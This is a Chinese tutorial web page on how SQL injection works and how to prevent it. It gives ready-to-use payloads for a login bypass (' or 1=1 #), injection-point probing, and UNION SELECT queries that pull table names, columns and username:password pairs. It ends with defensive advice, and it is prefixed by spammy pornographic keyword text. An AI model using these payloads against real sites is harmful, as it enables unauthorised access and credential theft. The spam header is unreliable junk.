欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

SQL注入的實現(xiàn)以及防范示例詳解

 更新時間:2021年06月02日 10:06:35   作者:還會見面嗎?  
SQL注入是比較常見的網(wǎng)絡(luò)攻擊方式之一,它不是利用操作系統(tǒng)的BUG來實現(xiàn)攻擊,而是針對程序員編寫時的疏忽,這篇文章主要給大家介紹了關(guān)于SQL注入的實現(xiàn)以及防范的相關(guān)資料,需要的朋友可以參考下

什么是SQL注入

SQL注入是指通過構(gòu)建特殊的輸入篡改原來的SQL語句達到攻擊者所需的操作。

Sql 注入產(chǎn)生原因

我們訪問動態(tài)網(wǎng)頁時往往會向服務(wù)器發(fā)送請求,服務(wù)器向數(shù)據(jù)訪問層發(fā)起 Sql 查詢請求,若驗證通過就會執(zhí)行 Sql 語句。如果用戶輸入的數(shù)據(jù)被構(gòu)造成惡意Sql代碼,如果程序沒有細致地過濾用戶輸入的數(shù)據(jù)則會使非法數(shù)據(jù)侵入系統(tǒng)。

登錄案例講解

select * from admin where uname='用戶名' and pwd='密碼'

輸入 'or 1=1 #(–空格或–+或#:注釋掉后面的sql語句)

這時SQL語句變?yōu)椋?code>select * from admin where uname='' or 1=1 # and pwd='密碼',這時SQL語句永遠成立,繞過登錄。

基于GET方式的SQL注入

通過在URL中修改對應(yīng)的ID值,為正常數(shù)字、大數(shù)字、字符(單引號、雙引號、雙單引號、括號)、反斜杠來探測URL中是否有注入點。

可登陸到mituan.zone進行測試

1、' '1'' LIMIT 0,1 ' :多了一個單引號

可猜測SQL語句為:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一個單引號

可猜測SQL語句為:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一個單引號

可猜測SQL語句為:select login_name,password from admin where id = ('id') limit 0,1

4、單引號、括號都不報錯說明被接收的是字符串類型' "1"") LIMIT 0,1 ':多了一個雙引號

可猜測SQL語句為:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判斷字段數(shù)

order by n(n為猜測字段數(shù))--+

以案例一為例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜測錯誤時則會報錯

此時探測到有3個字段,用?id=0' union select 1,2,3--+探測到Login_name在第二列,Password在第三列,則第二、三列可利用。

?id=0' union select 1,2,3--+2,3改為user():查看當(dāng)前MYSQL登錄用戶名,database():查看當(dāng)前使用MYSQL數(shù)據(jù)庫名,version():查看當(dāng)前MYSQL版本,如改為?id=0'union select 1,user(),database()--+ 得到下圖中信息

2、利用union select 聯(lián)合查詢,獲取表名。(在使用union select時要將前面的SQL語句報錯)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3、利用union select 聯(lián)合查詢,獲取字段名。(以上面查詢到的users表為例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4、利用union select 聯(lián)合查詢,獲取字段值。(以上面查詢到的users表為例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a為冒號,用來分隔不同字段的值)

如果是地址欄不能顯示信息的POST形式則可以在對話框中輸入注入語句






這里使用的方法和在地址欄中的輸入一樣,都是先報錯前面的SQL語句再使用union select聯(lián)合查詢拿出表中數(shù)據(jù)

SQL 注入的防范方法

  • 對用戶的輸入進行過濾。如:對用戶的輸入進行校驗,可以通過正則表達式、限制長度、對單引號和雙"-"進行轉(zhuǎn)換等。
  • 編寫程序時不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進行數(shù)據(jù)查詢存取。
  • 不要直接使用管理員權(quán)限的數(shù)據(jù)庫連接,每個應(yīng)用使用單獨的且權(quán)限有限的數(shù)據(jù)庫。
  • 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  • 程序的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。

總結(jié)

到此這篇關(guān)于SQL注入的實現(xiàn)以及防范的文章就介紹到這了,更多相關(guān)SQL注入實現(xiàn)及防范內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 達夢數(shù)據(jù)庫如何設(shè)置自增主鍵的方法及注意事項

    達夢數(shù)據(jù)庫如何設(shè)置自增主鍵的方法及注意事項

    這篇文章主要介紹了達夢數(shù)據(jù)庫如何設(shè)置自增主鍵的方法及注意事項的相關(guān)資料,在達夢數(shù)據(jù)庫中實現(xiàn)自增字段通常需要使用序列(sequence)和觸發(fā)器(trigger),需要的朋友可以參考下
    2024-09-09
  • 一文讀懂?dāng)?shù)據(jù)庫管理工具 Navicat 和 DBeaver

    一文讀懂?dāng)?shù)據(jù)庫管理工具 Navicat 和 DBeaver

    這篇文章主要介紹了數(shù)據(jù)庫管理工具 Navicat 和 DBeaver的相關(guān)資料,本文給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2021-03-03
  • 用計算列實現(xiàn)移動加權(quán)平均算法

    用計算列實現(xiàn)移動加權(quán)平均算法

    昨天有人讓我?guī)兔憘€算移動加權(quán)平均的SQL語句,我想了半天終于寫出來正確的了?,F(xiàn)在發(fā)出來供大家參考、討論。
    2009-09-09
  • 簡單聊聊SQL注入的原理以及一般步驟

    簡單聊聊SQL注入的原理以及一般步驟

    所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令,下面這篇文章主要給大家介紹了關(guān)于SQL注入的原理以及一般步驟的相關(guān)資料,需要的朋友可以參考下
    2022-02-02
  • sqlserver中drop、truncate和delete語句的用法

    sqlserver中drop、truncate和delete語句的用法

    這篇文章主要介紹了sqlserver中drop、truncate和delete語句的用法,本文圖文并茂,內(nèi)容清晰,需要的朋友可以參考下
    2014-09-09
  • Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫的實現(xiàn)方法

    Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫的實現(xiàn)方法

    這篇文章主要介紹了Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫的實現(xiàn)方法,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • 你應(yīng)該知道的States字段使用規(guī)范

    你應(yīng)該知道的States字段使用規(guī)范

    這篇文章主要給大家介紹了一些大家應(yīng)該知道的States字段使用規(guī)范的相關(guān)資料,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-12-12
  • hadoop map-reduce中的文件并發(fā)操作

    hadoop map-reduce中的文件并發(fā)操作

    hadoop mapreduce最主要的應(yīng)用是基于鍵值對的數(shù)據(jù)的運算,過濾,提取。但除此之外,我們可以順帶利用mapreduce高并發(fā)的特性做一些用常用方法難以處理的問題,比如大量數(shù)據(jù),大量文件的并發(fā)讀寫
    2014-04-04
  • 時序數(shù)據(jù)庫VictoriaMetrics源碼解析之寫入與索引

    時序數(shù)據(jù)庫VictoriaMetrics源碼解析之寫入與索引

    這篇文章主要為大家介紹了VictoriaMetrics時序數(shù)據(jù)庫的寫入與索引源碼解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-05-05
  • 一步步教你使用Navicat工具創(chuàng)建MySQL數(shù)據(jù)庫連接

    一步步教你使用Navicat工具創(chuàng)建MySQL數(shù)據(jù)庫連接

    Navicat是一套快速、可靠并價格相當(dāng)便宜的數(shù)據(jù)庫管理工具,專為簡化數(shù)據(jù)庫的管理及降低系統(tǒng)管理成本而設(shè),下面這篇文章主要給大家介紹了關(guān)于如何使用Navicat工具創(chuàng)建MySQL數(shù)據(jù)庫連接的相關(guān)資料,需要的朋友可以參考下
    2023-03-03

最新評論